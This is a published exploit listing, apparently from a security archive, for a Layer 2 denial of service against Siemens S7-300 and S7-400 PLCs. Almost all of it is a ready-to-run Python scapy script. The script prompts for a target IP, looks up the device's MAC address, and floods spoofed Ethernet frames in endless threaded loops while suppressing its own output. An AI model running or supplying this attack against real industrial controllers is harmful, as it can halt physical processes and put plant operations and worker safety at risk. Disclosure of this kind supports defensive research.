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Siemens S7 Layer 2 Denial Of Service

Siemens S7 Layer 2 Denial Of Service
Posted Jan 5, 2022
Authored by RoseSecurity

Siemens S7 Layer 2 suffers from a denial of service vulnerability.

tags | exploit, denial of service
SHA-256 | 4256c23482f639e6a29cd1d513defa05599f5fe8035792c455db66f5eed15105

Siemens S7 Layer 2 Denial Of Service

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# Exploit Title: Siemens S7 Layer 2 - Denial of Service (DoS)
# Date: 21/10/2021
# Exploit Author: RoseSecurity
# Vendor Homepage: https://www.siemens.com/us/en.html
# Version: Firmware versions >= 3
# Tested on: Siemens S7-300, S7-400 PLCs


#!/usr/bin/python3

from scapy.all import *
from colorama import Fore, Back, Style
from subprocess import Popen, PIPE
from art import *
import threading
import subprocess
import time
import os
import sys
import re

# Banner

print(Fore.RED + r"""

▄▄▄· ▄• ▄▌▄▄▄▄▄ • ▌ ▄ ·. ▄▄▄· ▄▄▄▄▄ ▄▄▄
▐█ ▀█ █▪██▌•██ ▪ ·██ ▐███▪▐█ ▀█ •██ ▪ ▀▄ █·
▄█▀▀█ █▌▐█▌ ▐█.▪ ▄█▀▄ ▐█ ▌▐▌▐█·▄█▀▀█ ▐█.▪ ▄█▀▄ ▐▀▀▄
▐█ ▪▐▌▐█▄█▌ ▐█▌·▐█▌.▐▌██ ██▌▐█▌▐█ ▪▐▌ ▐█▌·▐█▌.▐▌▐█•█▌
▀ ▀ ▀▀▀ ▀▀▀ ▀█▄▀▪▀▀ █▪▀▀▀ ▀ ▀ ▀▀▀ ▀█▄▀▪.▀ ▀
▄▄▄▄▄▄▄▄ .▄▄▄ • ▌ ▄ ·. ▪ ▐ ▄ ▄▄▄· ▄▄▄▄▄ ▄▄▄
•██ ▀▄.▀·▀▄ █··██ ▐███▪██ •█▌▐█▐█ ▀█ •██ ▪ ▀▄ █·
▐█.▪▐▀▀▪▄▐▀▀▄ ▐█ ▌▐▌▐█·▐█·▐█▐▐▌▄█▀▀█ ▐█.▪ ▄█▀▄ ▐▀▀▄
▐█▌·▐█▄▄▌▐█•█▌██ ██▌▐█▌▐█▌██▐█▌▐█ ▪▐▌ ▐█▌·▐█▌.▐▌▐█•█▌
▀▀▀ ▀▀▀ .▀ ▀▀▀ █▪▀▀▀▀▀▀▀▀ █▪ ▀ ▀ ▀▀▀ ▀█▄▀▪.▀ ▀
""")

time.sleep(1.5)

# Get IP to exploit

IP = input("Enter the IP address of the device to exploit: ")

# Find the mac address of the device

Mac = getmacbyip(IP)

# Function to send the ouput to "nothing"

def NULL ():

f = open(os.devnull, 'w')
sys.stdout = f

# Eternal loop to produce DoS condition

def Arnold ():

AutomatorTerminator = True

while AutomatorTerminator == True:
Packet = Ether()
Packet.dst = "00:00:00:00:00:00"
Packet.src = Mac
sendp(Packet)
NULL()
def Sarah ():

AutomatorTerminator = True

while AutomatorTerminator == True:
Packet = Ether()
Packet.dst = "00:00:00:00:00:00"
Packet.src = Mac
sendp(Packet)
NULL()
def Kyle ():
AutomatorTerminator = True

while AutomatorTerminator == True:
Packet = Ether()
Packet.dst = "00:00:00:00:00:00"
Packet.src = Mac
sendp(Packet)
NULL()

# Arnold
ArnoldThread = threading.Thread(target=Arnold)
ArnoldThread.start()
ArnoldThread.join()
NULL()

# Sarah

SarahThread = threading.Thread(target=Sarah)
SarahThread.start()
SarahThread.join()
NULL()

# Kyle

KyleThread = threading.Thread(target=Kyle)
KyleThread.start()
KyleThread.join()
NULL()


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